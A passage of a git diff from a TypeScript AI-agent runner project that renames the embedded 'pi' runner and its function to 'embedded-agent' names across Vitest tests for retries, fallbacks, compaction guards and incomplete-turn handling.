(embeddedRunState.activeRuns = new Map()); + (embeddedRunState.activeRuns = new Map()); export const ACTIVE_EMBEDDED_RUN_SNAPSHOTS = embeddedRunState.snapshots ?? (embeddedRunState.snapshots = new Map()); diff --git a/src/agents/pi-embedded-runner/run.before-agent-reply-cron.test.ts b/src/agents/embedded-agent-runner/run.before-agent-reply-cron.test.ts similarity index 92% rename from src/agents/pi-embedded-runner/run.before-agent-reply-cron.test.ts rename to src/agents/embedded-agent-runner/run.before-agent-reply-cron.test.ts index 31b7d8488e4..356a9e26bf2 100644 --- a/src/agents/pi-embedded-runner/run.before-agent-reply-cron.test.ts +++ b/src/agents/embedded-agent-runner/run.before-agent-reply-cron.test.ts @@ -9,7 +9,7 @@ import { resetRunOverflowCompactionHarnessMocks, } from "./run.overflow-compaction.harness.js"; -let runEmbeddedPiAgent: typeof import("./run.js").runEmbeddedPiAgent; +let runEmbeddedAgent: typeof import("./run.js").runEmbeddedAgent; function firstBeforeAgentReplyCall() { const call = mockedGlobalHookRunner.runBeforeAgentReply.mock.calls[0]; @@ -29,9 +29,9 @@ function firstAttemptParams(): { modelRun?: boolean; promptMode?: string } { return call[0]; } -describe("runEmbeddedPiAgent cron before_agent_reply seam", () => { +describe("runEmbeddedAgent cron before_agent_reply seam", () => { beforeAll(async () => { - ({ runEmbeddedPiAgent } = await loadRunOverflowCompactionHarness()); + ({ runEmbeddedAgent } = await loadRunOverflowCompactionHarness()); }); beforeEach(() => { @@ -48,7 +48,7 @@ describe("runEmbeddedPiAgent cron before_agent_reply seam", () => { }); const onExecutionPhase = vi.fn(); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ ...overflowBaseRunParams, trigger: "cron", jobId: "cron-job-123", @@ -82,7 +82,7 @@ describe("runEmbeddedPiAgent cron before_agent_reply seam", () => { handled: true, }); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ ...overflowBaseRunParams, trigger: "cron", }); @@ -99,7 +99,7 @@ describe("runEmbeddedPiAgent cron before_agent_reply seam", () => { mockedRunEmbeddedAttempt.mockResolvedValueOnce(makeAttemptResult({ promptError: null })); const onExecutionPhase = vi.fn(); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, trigger: "cron", onExecutionPhase, @@ -120,7 +120,7 @@ describe("runEmbeddedPiAgent cron before_agent_reply seam", () => { ); mockedRunEmbeddedAttempt.mockResolvedValueOnce(makeAttemptResult({ promptError: null })); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, trigger: "user", }); @@ -132,7 +132,7 @@ describe("runEmbeddedPiAgent cron before_agent_reply seam", () => { it("forwards one-shot model-run flags into the embedded attempt", async () => { mockedRunEmbeddedAttempt.mockResolvedValueOnce(makeAttemptResult({ promptError: null })); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, trigger: "user", modelRun: true, diff --git a/src/agents/pi-embedded-runner/run.codex-app-server-recovery.test.ts b/src/agents/embedded-agent-runner/run.codex-app-server-recovery.test.ts similarity index 94% rename from src/agents/pi-embedded-runner/run.codex-app-server-recovery.test.ts rename to src/agents/embedded-agent-runner/run.codex-app-server-recovery.test.ts index 12183d6d540..ee005d94159 100644 --- a/src/agents/pi-embedded-runner/run.codex-app-server-recovery.test.ts +++ b/src/agents/embedded-agent-runner/run.codex-app-server-recovery.test.ts @@ -12,7 +12,7 @@ import { } from "./run.overflow-compaction.harness.js"; import type { EmbeddedRunAttemptResult } from "./run/types.js"; -let runEmbeddedPiAgent: typeof import("./run.js").runEmbeddedPiAgent; +let runEmbeddedAgent: typeof import("./run.js").runEmbeddedAgent; function codexClientClosedAttempt( overrides: Partial = {}, @@ -39,9 +39,9 @@ function successAttempt(): EmbeddedRunAttemptResult { }); } -describe("runEmbeddedPiAgent Codex app-server recovery", () => { +describe("runEmbeddedAgent Codex app-server recovery", () => { beforeAll(async () => { - ({ runEmbeddedPiAgent } = await loadRunOverflowCompactionHarness()); + ({ runEmbeddedAgent } = await loadRunOverflowCompactionHarness()); }); beforeEach(() => { @@ -54,7 +54,7 @@ describe("runEmbeddedPiAgent Codex app-server recovery", () => { .mockResolvedValueOnce(codexClientClosedAttempt()) .mockResolvedValueOnce(successAttempt()); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "codex", model: "gpt-5.5", @@ -69,7 +69,7 @@ describe("runEmbeddedPiAgent Codex app-server recovery", () => { .mockResolvedValueOnce(codexClientClosedAttempt()) .mockResolvedValueOnce(successAttempt()); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "codex", model: "gpt-5.5", @@ -97,7 +97,7 @@ describe("runEmbeddedPiAgent Codex app-server recovery", () => { }) .mockResolvedValueOnce(successAttempt()); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "codex", model: "gpt-5.5", @@ -128,7 +128,7 @@ describe("runEmbeddedPiAgent Codex app-server recovery", () => { ); await expect( - runEmbeddedPiAgent({ + runEmbeddedAgent({ ...overflowBaseRunParams, provider: "codex", model: "gpt-5.5", @@ -155,7 +155,7 @@ describe("runEmbeddedPiAgent Codex app-server recovery", () => { ); await expect( - runEmbeddedPiAgent({ + runEmbeddedAgent({ ...overflowBaseRunParams, provider: "codex", model: "gpt-5.5", @@ -182,7 +182,7 @@ describe("runEmbeddedPiAgent Codex app-server recovery", () => { }), ); - const promise = runEmbeddedPiAgent({ + const promise = runEmbeddedAgent({ ...overflowBaseRunParams, provider: "codex", model: "gpt-5.5", @@ -223,7 +223,7 @@ describe("runEmbeddedPiAgent Codex app-server recovery", () => { ); await expect( - runEmbeddedPiAgent({ + runEmbeddedAgent({ ...overflowBaseRunParams, provider: "codex", model: "gpt-5.5", diff --git a/src/agents/pi-embedded-runner/run.codex-server-error-fallback.test.ts b/src/agents/embedded-agent-runner/run.codex-server-error-fallback.test.ts similarity index 90% rename from src/agents/pi-embedded-runner/run.codex-server-error-fallback.test.ts rename to src/agents/embedded-agent-runner/run.codex-server-error-fallback.test.ts index da87b30bb24..c02a17996bc 100644 --- a/src/agents/pi-embedded-runner/run.codex-server-error-fallback.test.ts +++ b/src/agents/embedded-agent-runner/run.codex-server-error-fallback.test.ts @@ -14,11 +14,11 @@ import { resetRunOverflowCompactionHarnessMocks, } from "./run.overflow-compaction.harness.js"; -let runEmbeddedPiAgent: typeof import("./run.js").runEmbeddedPiAgent; +let runEmbeddedAgent: typeof import("./run.js").runEmbeddedAgent; -describe("runEmbeddedPiAgent Codex server_error fallback handoff", () => { +describe("runEmbeddedAgent Codex server_error fallback handoff", () => { beforeAll(async () => { - ({ runEmbeddedPiAgent } = await loadRunOverflowCompactionHarness()); + ({ runEmbeddedAgent } = await loadRunOverflowCompactionHarness()); }); beforeEach(() => { @@ -49,7 +49,7 @@ describe("runEmbeddedPiAgent Codex server_error fallback handoff", () => { }), ); - const promise = runEmbeddedPiAgent({ + const promise = runEmbeddedAgent({ ...overflowBaseRunParams, runId: "run-codex-server-error-fallback", config: makeModelFallbackCfg({ diff --git a/src/agents/pi-embedded-runner/run.compaction-loop-guard.test.ts b/src/agents/embedded-agent-runner/run.compaction-loop-guard.test.ts similarity index 95% rename from src/agents/pi-embedded-runner/run.compaction-loop-guard.test.ts rename to src/agents/embedded-agent-runner/run.compaction-loop-guard.test.ts index d23cee86f77..2f2bfc823ee 100644 --- a/src/agents/pi-embedded-runner/run.compaction-loop-guard.test.ts +++ b/src/agents/embedded-agent-runner/run.compaction-loop-guard.test.ts @@ -7,7 +7,7 @@ import type { import type { ToolOutcomeObserver, wrapToolWithBeforeToolCallHook as WrapToolWithBeforeToolCallHookType, -} from "../pi-tools.before-tool-call.js"; +} from "../agent-tools.before-tool-call.js"; import type { recordToolCall as RecordToolCallType, recordToolCallOutcome as RecordToolCallOutcomeType, @@ -32,7 +32,7 @@ import { resetRunOverflowCompactionHarnessMocks, } from "./run.overflow-compaction.harness.js"; -let runEmbeddedPiAgent: typeof import("./run.js").runEmbeddedPiAgent; +let runEmbeddedAgent: typeof import("./run.js").runEmbeddedAgent; // These need to be imported AFTER loadRunOverflowCompactionHarness so that // they reference the same module instances the (re-imported) runner uses. // vi.resetModules() inside the harness invalidates any earlier import. @@ -96,15 +96,15 @@ async function executeWrappedToolOutcome( return tool.execute(`${toolName}-${liveToolCallSeq}`, toolParams, undefined, undefined); } -describe("post-compaction loop guard wired into runEmbeddedPiAgent", () => { +describe("post-compaction loop guard wired into runEmbeddedAgent", () => { beforeAll(async () => { - ({ runEmbeddedPiAgent } = await loadRunOverflowCompactionHarness()); + ({ runEmbeddedAgent } = await loadRunOverflowCompactionHarness()); // Re-import after the harness reset so we share module instances with // the runner. The runner imports both modules through its own graph. ({ diagnosticSessionStates, getDiagnosticSessionState } = await import("../../logging/diagnostic-session-state.js")); ({ recordToolCall, recordToolCallOutcome } = await import("../tool-loop-detection.js")); - ({ wrapToolWithBeforeToolCallHook } = await import("../pi-tools.before-tool-call.js")); + ({ wrapToolWithBeforeToolCallHook } = await import("../agent-tools.before-tool-call.js")); ({ PostCompactionLoopPersistedError } = await import("./post-compaction-loop-guard.js")); }); @@ -178,7 +178,7 @@ describe("post-compaction loop guard wired into runEmbeddedPiAgent", () => { }), ); - await expect(runEmbeddedPiAgent(baseParams)).rejects.toBeInstanceOf( + await expect(runEmbeddedAgent(baseParams)).rejects.toBeInstanceOf( PostCompactionLoopPersistedError, ); @@ -223,7 +223,7 @@ describe("post-compaction loop guard wired into runEmbeddedPiAgent", () => { }), ); - const result = await runEmbeddedPiAgent(baseParams); + const result = await runEmbeddedAgent(baseParams); expect(result.meta.error).toBeUndefined(); expect(mockedCompactDirect).toHaveBeenCalledTimes(1); expect(mockedRunEmbeddedAttempt).toHaveBeenCalledTimes(2); @@ -259,7 +259,7 @@ describe("post-compaction loop guard wired into runEmbeddedPiAgent", () => { }), ); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ ...baseParams, config: { tools: { @@ -306,7 +306,7 @@ describe("post-compaction loop guard wired into runEmbeddedPiAgent", () => { }), ); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ ...baseParams, agentId: "agent-a", config: { @@ -366,7 +366,7 @@ describe("post-compaction loop guard wired into runEmbeddedPiAgent", () => { }), ); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ ...baseParams, config: { tools: { @@ -435,7 +435,7 @@ describe("post-compaction loop guard wired into runEmbeddedPiAgent", () => { }), ); - await expect(runEmbeddedPiAgent(baseParams)).rejects.toBeInstanceOf( + await expect(runEmbeddedAgent(baseParams)).rejects.toBeInstanceOf( PostCompactionLoopPersistedError, ); diff --git a/src/agents/pi-embedded-runner/run.cross-provider-fallback-error-context.test.ts b/src/agents/embedded-agent-runner/run.cross-provider-fallback-error-context.test.ts similarity index 77% rename from src/agents/pi-embedded-runner/run.cross-provider-fallback-error-context.test.ts rename to src/agents/embedded-agent-runner/run.cross-provider-fallback-error-context.test.ts index a2fefba8e8e..9a7e5701aed 100644 --- a/src/agents/pi-embedded-runner/run.cross-provider-fallback-error-context.test.ts +++ b/src/agents/embedded-agent-runner/run.cross-provider-fallback-error-context.test.ts @@ -15,15 +15,13 @@ import { } from "./run.overflow-compaction.harness.js"; import type { EmbeddedRunAttemptResult } from "./run/types.js"; -let runEmbeddedPiAgent: typeof import("./run.js").runEmbeddedPiAgent; +let runEmbeddedAgent: typeof import("./run.js").runEmbeddedAgent; const DEEPSEEK_ERROR_MESSAGE = "429 deepseek rate limit"; type CurrentAttemptAssistantWithError = NonNullable< EmbeddedRunAttemptResult["currentAttemptAssistant"] > & { errorMessage: string }; -function isCurrentAttemptAssistant( - value: unknown, -): value is CurrentAttemptAssistantWithError { +function isCurrentAttemptAssistant(value: unknown): value is CurrentAttemptAssistantWithError { return ( typeof value === "object" && value !== null && @@ -91,9 +89,9 @@ async function expectDeepseekFallbackError( expectDeepseekAssistant(getLastFormattedAssistant()); } -describe("runEmbeddedPiAgent cross-provider fallback error handling", () => { +describe("runEmbeddedAgent cross-provider fallback error handling", () => { beforeAll(async () => { - ({ runEmbeddedPiAgent } = await loadRunOverflowCompactionHarness()); + ({ runEmbeddedAgent } = await loadRunOverflowCompactionHarness()); }); beforeEach(() => { @@ -124,7 +122,7 @@ describe("runEmbeddedPiAgent cross-provider fallback error handling", () => { }), ); - const promise = runEmbeddedPiAgent({ + const promise = runEmbeddedAgent({ ...overflowBaseRunParams, runId: "run-cross-provider-fallback-error-context", config: makeCrossProviderFallbackConfig(), @@ -158,7 +156,7 @@ describe("runEmbeddedPiAgent cross-provider fallback error handling", () => { }), ); - const promise = runEmbeddedPiAgent({ + const promise = runEmbeddedAgent({ ...overflowBaseRunParams, runId: "run-compaction-fallback-error-context", config: makeCrossProviderFallbackConfig(), @@ -174,53 +172,6 @@ describe("runEmbeddedPiAgent cross-provider fallback error handling", () => { }); }); - it("keeps PI-stamped session assistant errors for the current candidate after compaction", async () => { - const getLastFormattedAssistant = captureFormattedAssistant(); - const sameCandidateErrorMessage = "429 current PI-stamped candidate rate limit"; - mockedIsFailoverAssistantError.mockImplementation((...args: unknown[]) => { - const assistant = args[0]; - return isCurrentAttemptAssistant(assistant) && assistant.provider === "pi"; - }); - mockedIsRateLimitAssistantError.mockImplementation((...args: unknown[]) => { - const assistant = args[0]; - return isCurrentAttemptAssistant(assistant) && assistant.provider === "pi"; - }); - mockedRunEmbeddedAttempt.mockResolvedValueOnce( - makeAttemptResult({ - assistantTexts: [], - lastAssistant: makeAssistantMessageFixture({ - stopReason: "error", - errorMessage: sameCandidateErrorMessage, - provider: "pi", - model: "pi", - content: [], - }), - currentAttemptAssistant: undefined, - }), - ); - - const promise = runEmbeddedPiAgent({ - ...overflowBaseRunParams, - runId: "run-compaction-pi-stamped-fallback-error-context", - config: makeCrossProviderFallbackConfig(), - }); - - await expect(promise).rejects.toBeInstanceOf(MockedFailoverError); - await expect(promise).rejects.toThrow(sameCandidateErrorMessage); - expect(mockedIsRateLimitAssistantError).toHaveBeenCalledTimes(1); - const rateLimitCalls = mockedIsRateLimitAssistantError.mock.calls as unknown[][]; - expect(rateLimitCalls.at(-1)?.[0]).toMatchObject({ - provider: "pi", - model: "pi", - errorMessage: sameCandidateErrorMessage, - }); - expect(getLastFormattedAssistant()).toMatchObject({ - provider: "pi", - model: "pi", - errorMessage: sameCandidateErrorMessage, - }); - }); - it("does not reuse a prior provider session assistant when the current candidate times out", async () => { const getLastFormattedAssistant = captureFormattedAssistant(); mockedRunEmbeddedAttempt.mockResolvedValueOnce( @@ -238,7 +189,7 @@ describe("runEmbeddedPiAgent cross-provider fallback error handling", () => { }), ); - const promise = runEmbeddedPiAgent({ + const promise = runEmbeddedAgent({ ...overflowBaseRunParams, runId: "run-stale-session-assistant-timeout", config: makeCrossProviderFallbackConfig(), @@ -270,7 +221,7 @@ describe("runEmbeddedPiAgent cross-provider fallback error handling", () => { }), ); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, runId: "run-stale-session-assistant-non-timeout", config: makeCrossProviderFallbackConfig(), diff --git a/src/agents/pi-embedded-runner/run.empty-error-retry.test.ts b/src/agents/embedded-agent-runner/run.empty-error-retry.test.ts similarity index 93% rename from src/agents/pi-embedded-runner/run.empty-error-retry.test.ts rename to src/agents/embedded-agent-runner/run.empty-error-retry.test.ts index fd8828bfc60..27c127e196e 100644 --- a/src/agents/pi-embedded-runner/run.empty-error-retry.test.ts +++ b/src/agents/embedded-agent-runner/run.empty-error-retry.test.ts @@ -10,7 +10,7 @@ import { } from "./run.overflow-compaction.harness.js"; import type { EmbeddedRunAttemptResult } from "./run/types.js"; -// Regression coverage for the silent-error retry in runEmbeddedPiAgent. +// Regression coverage for the silent-error retry in runEmbeddedAgent. // // Symptom: ollama/glm-5.1 occasionally ends a turn with stopReason="error" and // zero output tokens after a successful tool-call sequence. The user sees no @@ -18,7 +18,7 @@ import type { EmbeddedRunAttemptResult } from "./run/types.js"; // resubmission for errored turns, separate from the visible-answer retry used // for stopReason="stop" empty zero-token turns. -let runEmbeddedPiAgent: typeof import("./run.js").runEmbeddedPiAgent; +let runEmbeddedAgent: typeof import("./run.js").runEmbeddedAgent; function emptyErrorAttempt( provider: string, @@ -50,9 +50,9 @@ function successAttempt(provider: string, model: string): EmbeddedRunAttemptResu }); } -describe("runEmbeddedPiAgent silent-error retry", () => { +describe("runEmbeddedAgent silent-error retry", () => { beforeAll(async () => { - ({ runEmbeddedPiAgent } = await loadRunOverflowCompactionHarness()); + ({ runEmbeddedAgent } = await loadRunOverflowCompactionHarness()); }); beforeEach(() => { @@ -65,7 +65,7 @@ describe("runEmbeddedPiAgent silent-error retry", () => { mockedRunEmbeddedAttempt.mockResolvedValueOnce(emptyErrorAttempt("ollama", "glm-5.1:cloud")); mockedRunEmbeddedAttempt.mockResolvedValueOnce(successAttempt("ollama", "glm-5.1:cloud")); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "ollama", model: "glm-5.1:cloud", @@ -82,7 +82,7 @@ describe("runEmbeddedPiAgent silent-error retry", () => { mockedRunEmbeddedAttempt.mockResolvedValueOnce(emptyErrorAttempt("ollama", "glm-5.1:cloud")); } - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "ollama", model: "glm-5.1:cloud", @@ -100,7 +100,7 @@ describe("runEmbeddedPiAgent silent-error retry", () => { emptyErrorAttempt("ollama", "glm-5.1:cloud", 12), ); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "ollama", model: "glm-5.1:cloud", @@ -127,7 +127,7 @@ describe("runEmbeddedPiAgent silent-error retry", () => { }), ); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "plain-provider", model: "plain-model", @@ -143,7 +143,7 @@ describe("runEmbeddedPiAgent silent-error retry", () => { ); mockedRunEmbeddedAttempt.mockResolvedValueOnce(successAttempt("anthropic", "claude-opus-4-7")); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "anthropic", model: "claude-opus-4-7", @@ -177,7 +177,7 @@ describe("runEmbeddedPiAgent silent-error retry", () => { }), ); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "ollama", model: "glm-5.1:cloud", diff --git a/src/agents/pi-embedded-runner/run.incomplete-turn.test.ts b/src/agents/embedded-agent-runner/run.incomplete-turn.test.ts similarity index 98% rename from src/agents/pi-embedded-runner/run.incomplete-turn.test.ts rename to src/agents/embedded-agent-runner/run.incomplete-turn.test.ts index 6350bf52222..b37c867f68d 100644 --- a/src/agents/pi-embedded-runner/run.incomplete-turn.test.ts +++ b/src/agents/embedded-agent-runner/run.incomplete-turn.test.ts @@ -40,11 +40,11 @@ import { } from "./run/incomplete-turn.js"; import type { EmbeddedRunAttemptResult } from "./run/types.js"; -let runEmbeddedPiAgent: typeof import("./run.js").runEmbeddedPiAgent; +let runEmbeddedAgent: typeof import("./run.js").runEmbeddedAgent; -describe("runEmbeddedPiAgent incomplete-turn safety", () => { +describe("runEmbeddedAgent incomplete-turn safety", () => { beforeAll(async () => { - ({ runEmbeddedPiAgent } = await loadRunOverflowCompactionHarness()); + ({ runEmbeddedAgent } = await loadRunOverflowCompactionHarness()); }); beforeEach(() => { @@ -81,7 +81,7 @@ describe("runEmbeddedPiAgent incomplete-turn safety", () => { }), ); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ ...overflowBaseRunParams, runId: "run-before-agent-run-hook-block", }); @@ -115,7 +115,7 @@ describe("runEmbeddedPiAgent incomplete-turn safety", () => { }), ); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "openai", model: "gpt-4.1", @@ -219,7 +219,7 @@ describe("runEmbeddedPiAgent incomplete-turn safety", () => { }), ); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ ...overflowBaseRunParams, trigger: "cron", provider: "openai", @@ -241,7 +241,7 @@ describe("runEmbeddedPiAgent incomplete-turn safety", () => { }), ); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ ...overflowBaseRunParams, prompt: "Please inspect the code, make the change, and run the checks.", sessionKey: undefined, @@ -252,7 +252,7 @@ describe("runEmbeddedPiAgent incomplete-turn safety", () => { config: { agents: { defaults: { - embeddedPi: { + embeddedAgent: { executionContract: "default", }, }, @@ -260,7 +260,7 @@ describe("runEmbeddedPiAgent incomplete-turn safety", () => { { id: "main" }, { id: "research", - embeddedPi: { + embeddedAgent: { executionContract: "strict-agentic", }, }, @@ -290,7 +290,7 @@ describe("runEmbeddedPiAgent incomplete-turn safety", () => { }), ); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ ...overflowBaseRunParams, prompt: "Please inspect the code, make the change, and run the checks.", provider: "openai", @@ -299,7 +299,7 @@ describe("runEmbeddedPiAgent incomplete-turn safety", () => { config: { agents: { defaults: { - embeddedPi: { + embeddedAgent: { executionContract: "strict-agentic", }, }, @@ -336,7 +336,7 @@ describe("runEmbeddedPiAgent incomplete-turn safety", () => { }), ); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "openai-codex", model: "gpt-5.5", @@ -370,7 +370,7 @@ describe("runEmbeddedPiAgent incomplete-turn safety", () => { }), ); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ ...overflowBaseRunParams, prompt: "Please inspect the code, make the change, and run the checks.", provider: "openai", @@ -414,7 +414,7 @@ describe("runEmbeddedPiAgent incomplete-turn safety", () => { }), ); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ ...overflowBaseRunParams, prompt: "Please inspect the code, make the change, and run the checks.", provider: "openai", @@ -423,7 +423,7 @@ describe("runEmbeddedPiAgent incomplete-turn safety", () => { config: { agents: { defaults: { - embeddedPi: { + embeddedAgent: { executionContract: "default", }, }, @@ -489,7 +489,7 @@ describe("runEmbeddedPiAgent incomplete-turn safety", () => { }), ); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "openai", model: "gpt-5.4", @@ -523,7 +523,7 @@ describe("runEmbeddedPiAgent incomplete-turn safety", () => { }), ); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ ...overflowBaseRunParams, allowEmptyAssistantReplyAsSilent: true, provider: "openai-codex", @@ -564,7 +564,7 @@ describe("runEmbeddedPiAgent incomplete-turn safety", () => { }), ); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "openai", model: "gpt-5.4", @@ -597,7 +597,7 @@ describe("runEmbeddedPiAgent incomplete-turn safety", () => { }), ); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "openai", model: "gpt-5.4", @@ -633,7 +633,7 @@ describe("runEmbeddedPiAgent incomplete-turn safety", () => { }), ); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "anthropic", model: "sonnet-4.6", @@ -693,7 +693,7 @@ describe("runEmbeddedPiAgent incomplete-turn safety", () => { }), ); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "kimi", model: "kimi-for-coding", @@ -733,7 +733,7 @@ describe("runEmbeddedPiAgent incomplete-turn safety", () => { }), ); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "openai", model: "gpt-5.4", @@ -787,7 +787,7 @@ describe("runEmbeddedPiAgent incomplete-turn safety", () => { }), ); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "anthropic", model: "claude-opus-4.7", @@ -856,7 +856,7 @@ describe("runEmbeddedPiAgent incomplete-turn safety", () => { }), ); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "llamacpp", model: "qwen3.6-27b", @@ -925,7 +925,7 @@ describe("runEmbeddedPiAgent incomplete-turn safety", () => { }), ); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "sub2api", model: "claude-opus-4-7", @@ -953,7 +953,7 @@ describe("runEmbeddedPiAgent incomplete-turn safety", () => { }), ); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "openai", model: "gpt-5.4", @@ -990,7 +990,7 @@ describe("runEmbeddedPiAgent incomplete-turn safety", () => { }), ); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "openai", model: "gpt-5.4", @@ -1062,7 +1062,7 @@ describe("runEmbeddedPiAgent incomplete-turn safety", () => { assistantTexts: ["I'll inspect the code, make the change, and run the checks."], toolMetas: [ { toolName: "read", meta: "path=src/index.ts" }, - { toolName: "search", meta: "pattern=runEmbeddedPiAgent" }, + { toolName: "search", meta: "pattern=runEmbeddedAgent" }, ], }), }); @@ -1383,7 +1383,7 @@ describe("runEmbeddedPiAgent incomplete-turn safety", () => { expect(incompleteTurnText).toBeNull(); }); - it("surfaces an error for tool-use terminal turn with pre-tool text via runEmbeddedPiAgent (#76477)", async () => { + it("surfaces an error for tool-use terminal turn with pre-tool text via runEmbeddedAgent (#76477)", async () => { mockedClassifyFailoverReason.mockReturnValue(null); mockedRunEmbeddedAttempt.mockResolvedValueOnce( makeAttemptResult({ @@ -1401,7 +1401,7 @@ describe("runEmbeddedPiAgent incomplete-turn safety", () => { }), ); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "anthropic", model: "sonnet-4.6", @@ -1899,7 +1899,7 @@ describe("runEmbeddedPiAgent incomplete-turn safety", () => { }), ); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "openai", model: "gpt-5.4", @@ -2419,7 +2419,7 @@ describe("runEmbeddedPiAgent incomplete-turn safety", () => { }), ); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ ...overflowBaseRunParams, allowEmptyAssistantReplyAsSilent: true, provider: "openai-codex", @@ -2451,7 +2451,7 @@ describe("runEmbeddedPiAgent incomplete-turn safety", () => { }), ); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "openai", model: "gpt-5.4", @@ -2535,7 +2535,7 @@ describe("runEmbeddedPiAgent incomplete-turn safety", () => { }), ); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ ...overflowBaseRunParams, prompt: "made a bunch of improvements to the student's source code (openclaw) this weekend, along with a few other maintainers. hopefully he will be more proactive now", diff --git a/src/agents/pi-embedded-runner/run.overflow-compaction.fixture.ts b/src/agents/embedded-agent-runner/run.overflow-compaction.fixture.ts similarity index 100% rename from src/agents/pi-embedded-runner/run.overflow-compaction.fixture.ts rename to src/agents/embedded-agent-runner/run.overflow-compaction.fixture.ts diff --git a/src/agents/pi-embedded-runner/run.overflow-compaction.harness.ts b/src/agents/embedded-agent-runner/run.overflow-compaction.harness.ts similarity index 98% rename from src/agents/pi-embedded-runner/run.overflow-compaction.harness.ts rename to src/agents/embedded-agent-runner/run.overflow-compaction.harness.ts index e503ef1a1a4..f41a691cfa4 100644 --- a/src/agents/pi-embedded-runner/run.overflow-compaction.harness.ts +++ b/src/agents/embedded-agent-runner/run.overflow-compaction.harness.ts @@ -9,8 +9,8 @@ import type { PluginHookBeforePromptBuildResult, } from "../../plugins/types.js"; import { normalizeLowercaseStringOrEmpty } from "../../shared/string-coerce.js"; +import type { FailoverReason } from "../embedded-agent-helpers/types.js"; import { clearAgentHarnesses, registerAgentHarness } from "../harness/registry.js"; -import type { FailoverReason } from "../pi-embedded-helpers/types.js"; import type { buildEmbeddedRunPayloads } from "./run/payloads.js"; import type { EmbeddedRunAttemptResult } from "./run/types.js"; @@ -426,7 +426,7 @@ export function resetRunOverflowCompactionHarnessMocks(): void { } export async function loadRunOverflowCompactionHarness(): Promise<{ - runEmbeddedPiAgent: typeof import("./run.js").runEmbeddedPiAgent; + runEmbeddedAgent: typeof import("./run.js").runEmbeddedAgent; }> { resetRunOverflowCompactionHarnessMocks(); vi.resetModules(); @@ -496,7 +496,7 @@ export async function loadRunOverflowCompactionHarness(): Promise<{ redactRunIdentifier: vi.fn((value?: string) => value ?? ""), })); - vi.doMock("../pi-embedded-helpers.js", () => ({ + vi.doMock("../embedded-agent-helpers.js", () => ({ formatBillingErrorMessage: mockedFormatBillingErrorMessage, classifyFailoverReason: mockedClassifyFailoverReason, extractObservedOverflowTokenCount: mockedExtractObservedOverflowTokenCount, @@ -606,6 +606,6 @@ export async function loadRunOverflowCompactionHarness(): Promise<{ }), })); - const { runEmbeddedPiAgent } = await import("./run.js"); - return { runEmbeddedPiAgent }; + const { runEmbeddedAgent } = await import("./run.js"); + return { runEmbeddedAgent }; } diff --git a/src/agents/pi-embedded-runner/run.overflow-compaction.loop.test.ts b/src/agents/embedded-agent-runner/run.overflow-compaction.loop.test.ts similarity index 94% rename from src/agents/pi-embedded-runner/run.overflow-compaction.loop.test.ts rename to src/agents/embedded-agent-runner/run.overflow-compaction.loop.test.ts index dd20d165ff7..65f8054c988 100644 --- a/src/agents/pi-embedded-runner/run.overflow-compaction.loop.test.ts +++ b/src/agents/embedded-agent-runner/run.overflow-compaction.loop.test.ts @@ -21,7 +21,7 @@ import { } from 